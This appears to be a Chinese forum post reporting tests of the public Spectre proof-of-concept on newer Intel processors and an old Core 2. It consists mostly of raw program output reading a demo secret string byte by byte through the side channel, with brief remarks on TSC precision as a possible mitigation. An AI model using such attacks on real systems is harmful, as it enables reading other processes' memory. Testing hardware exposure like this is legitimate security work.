@
VYSE linux 上实测带有 invariant tsc 的新处理器全中招,老的 core2 在__rdtscp 处非法指令,换成 rdtsc 能跑过,但基本不中招。牙膏厂只要弄个开关把 tsc 弄得模糊点应该可以应付过去 spectre 攻击。
新赛扬,core i:
# /tmp/spectre-attack
Putting 'The Magic Words are Squeamish Ossifrage.' in memory
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeb98... Success: 0x54=’ T ’ score=17 (second best: 0x05 score=6)
Reading at malicious_x = 0xffffffffffdfeb99... Success: 0x68=’ h ’ score=17 (second best: 0x05 score=6)
Reading at malicious_x = 0xffffffffffdfeb9a... Success: 0x65=’ e ’ score=2
Reading at malicious_x = 0xffffffffffdfeb9b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb9c... Success: 0x4D=’ M ’ score=2
Reading at malicious_x = 0xffffffffffdfeb9d... Success: 0x61=’ a ’ score=19 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdfeb9e... Success: 0x67=’ g ’ score=2
Reading at malicious_x = 0xffffffffffdfeb9f... Success: 0x69=’ i ’ score=2
Reading at malicious_x = 0xffffffffffdfeba0... Success: 0x63=’ c ’ score=125 (second best: 0x00 score=61)
Reading at malicious_x = 0xffffffffffdfeba1... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeba2... Success: 0x57=’ W ’ score=2
Reading at malicious_x = 0xffffffffffdfeba3... Success: 0x6F=’ o ’ score=2
Reading at malicious_x = 0xffffffffffdfeba4... Success: 0x72=’ r ’ score=2
Reading at malicious_x = 0xffffffffffdfeba5... Success: 0x64=’ d ’ score=2
Reading at malicious_x = 0xffffffffffdfeba6... Success: 0x73=’ s ’ score=2
Reading at malicious_x = 0xffffffffffdfeba7... Success: 0x20=’ ’ score=97 (second best: 0x05 score=46)
Reading at malicious_x = 0xffffffffffdfeba8... Success: 0x61=’ a ’ score=2
Reading at malicious_x = 0xffffffffffdfeba9... Success: 0x72=’ r ’ score=2
Reading at malicious_x = 0xffffffffffdfebaa... Success: 0x65=’ e ’ score=107 (second best: 0x00 score=50)
Reading at malicious_x = 0xffffffffffdfebab... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebac... Success: 0x53=’ S ’ score=2
Reading at malicious_x = 0xffffffffffdfebad... Success: 0x71=’ q ’ score=2
Reading at malicious_x = 0xffffffffffdfebae... Success: 0x75=’ u ’ score=2
Reading at malicious_x = 0xffffffffffdfebaf... Success: 0x65=’ e ’ score=2
Reading at malicious_x = 0xffffffffffdfebb0... Success: 0x61=’ a ’ score=513 (second best: 0x00 score=255)
Reading at malicious_x = 0xffffffffffdfebb1... Success: 0x6D=’ m ’ score=2
Reading at malicious_x = 0xffffffffffdfebb2... Success: 0x69=’ i ’ score=2
Reading at malicious_x = 0xffffffffffdfebb3... Success: 0x73=’ s ’ score=2
Reading at malicious_x = 0xffffffffffdfebb4... Success: 0x68=’ h ’ score=13 (second best: 0x00 score=5)
Reading at malicious_x = 0xffffffffffdfebb5... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebb6... Success: 0x4F=’ O ’ score=17 (second best: 0x00 score=7)
Reading at malicious_x = 0xffffffffffdfebb7... Success: 0x73=’ s ’ score=2
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x73=’ s ’ score=2
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x69=’ i ’ score=93 (second best: 0x00 score=45)
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x66=’ f ’ score=2
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x72=’ r ’ score=2
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x61=’ a ’ score=2
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x67=’ g ’ score=2
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x65=’ e ’ score=2
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x2E=’.’ score=251 (second best: 0x00 score=122)
老 core2,每次结果不一样,因为 tsc 不准,这是猜对最多的一次:
#./spectre-attack 10
Putting 'The Magic Words are Squeamish Ossifrage.' in memory
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeb78... Success: 0x54=’ T ’ score=2
Reading at malicious_x = 0xffffffffffdfeb79... Success: 0x68=’ h ’ score=2
Reading at malicious_x = 0xffffffffffdfeb7a... Success: 0x65=’ e ’ score=6
Reading at malicious_x = 0xffffffffffdfeb7b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb7c... Success: 0x4D=’ M ’ score=1
Reading at malicious_x = 0xffffffffffdfeb7d... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb7e... Success: 0x67=’ g ’ score=1
Reading at malicious_x = 0xffffffffffdfeb7f... Success: 0x69=’ i ’ score=1
Reading at malicious_x = 0xffffffffffdfeb80... Success: 0x63=’ c ’ score=2
Reading at malicious_x = 0xffffffffffdfeb81... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb82... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb83... Success: 0x6F=’ o ’ score=1
Reading at malicious_x = 0xffffffffffdfeb84... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb85... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb86... Success: 0x73=’ s ’ score=2
Reading at malicious_x = 0xffffffffffdfeb87... Success: 0x66=’ f ’ score=1
Reading at malicious_x = 0xffffffffffdfeb88... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb89... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb8a... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb8b... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb8c... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb8d... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb8e... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb8f... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb90... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb91... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb92... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb93... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb94... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb95... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb96... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb97... Success: 0x73=’ s ’ score=2
Reading at malicious_x = 0xffffffffffdfeb98... Success: 0x00=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb99... Success: 0x69=’ i ’ score=2
Reading at malicious_x = 0xffffffffffdfeb9a... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb9b... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb9c... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb9d... Success: 0xFF=’?’ score=0
Reading at malicious_x = 0xffffffffffdfeb9e... Success: 0x65=’ e ’ score=1
Reading at malicious_x = 0xffffffffffdfeb9f... Success: 0xFF=’?’ score=0